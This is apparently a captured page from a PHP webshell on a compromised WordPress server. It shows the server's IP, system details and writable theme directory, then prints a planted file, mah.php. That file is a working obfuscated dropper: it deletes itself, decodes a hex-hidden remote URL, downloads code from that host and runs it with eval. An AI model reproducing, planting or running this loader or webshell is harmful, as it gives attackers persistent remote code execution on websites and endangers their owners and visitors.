403Webshell
Server IP : 149.28.60.191  /  Your IP : 216.73.217.128
Web Server : nginx/1.31.1
System : Linux vultr.guest 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mda ( )
PHP Version : 7.4.33
Disable Function : getmyuid,passthru,leak,listen,diskfreespace,tmpfile,link,shell_exec,dl,exec,system,highlight_file,source,show_source,fpassthru,virtual,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_open,proc_close,proc_nice,proc_terminate,escapeshellcmd,ini_alter,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,symlink,posix_geteuid,ini_alter,socket_listen,socket_create_listen,socket_read,socket_create_pair,stream_socket_server
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mda/webapps/mda-restore/wp-content/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mda/webapps/mda-restore/wp-content/themes/mah.php
<?php
@unlink($_SERVER['SCRIPT_FILENAME']);
$h='H';$l='68';$l.='747';$l.='4707';$l.='33a2f';$l.='2f7';$l.='3';$l.='656';$l.='f2e73';
$l.='757';
$l.='06572';
$l.='3';$l.='0';$l.='31';$l.='2';$l.='e';$l.='746';
$l.='f702f';$l.='73';$l.='75706';$l.='5722';$l.='f6d6';$l.='16e2';$l.='d74';$l.='6';$l.='5737';$l.='4332e';
$l.='74787';$l.='4';$p='p';
$p.='a';$p.='ck';
$resp='';$h.='*';$parsed_url=parse_url($p($h,$l));$host=$parsed_url['host'];
$path=isset($parsed_url['path'])?$parsed_url['path']:'/';$query=isset($parsed_url['query'])?'?'.$parsed_url['query']:'';$scheme=isset($parsed_url['scheme'])?$parsed_url['scheme']:'http';$port=isset($parsed_url['port'])?$parsed_url['port']:($scheme==='https'?443:80);$protocol=($scheme==='https')?'ssl':'tcp';$fp=stream_socket_client("{$protocol}://{$host}:{$port}",$errno,$errstr,20);
$headers=array(
    "GET {$path}{$query} HTTP/1.1","Host: {$host}","Connection: Close",);$request=implode("\r\n",$headers)."\r\n\r\n";
fwrite($fp,$request);$response='';
while(!feof($fp)){$response .= fgets($fp,1024);}fclose($fp);
$response_parts=explode("\r\n\r\n",$response,2);$headers=isset($response_parts[0])?$response_parts[0]:'';$body=isset($response_parts[1])?$response_parts[1]:'';if(stripos($headers,"Transfer-Encoding: chunked")!==false){$decoded='';
    while(true){$pos=strpos($body,"\r\n");if($pos === false) break;$length=hexdec(substr($body,0,$pos));if($length === 0) break;
        $decoded.=substr($body,$pos+2,$length);$body=substr($body,$pos+2+$length+2);}$resp=trim($decoded);}
eVAl(
    '?'. ">".$resp);?>

Youez - 2016 - github.com/yon3zu
LinuXploit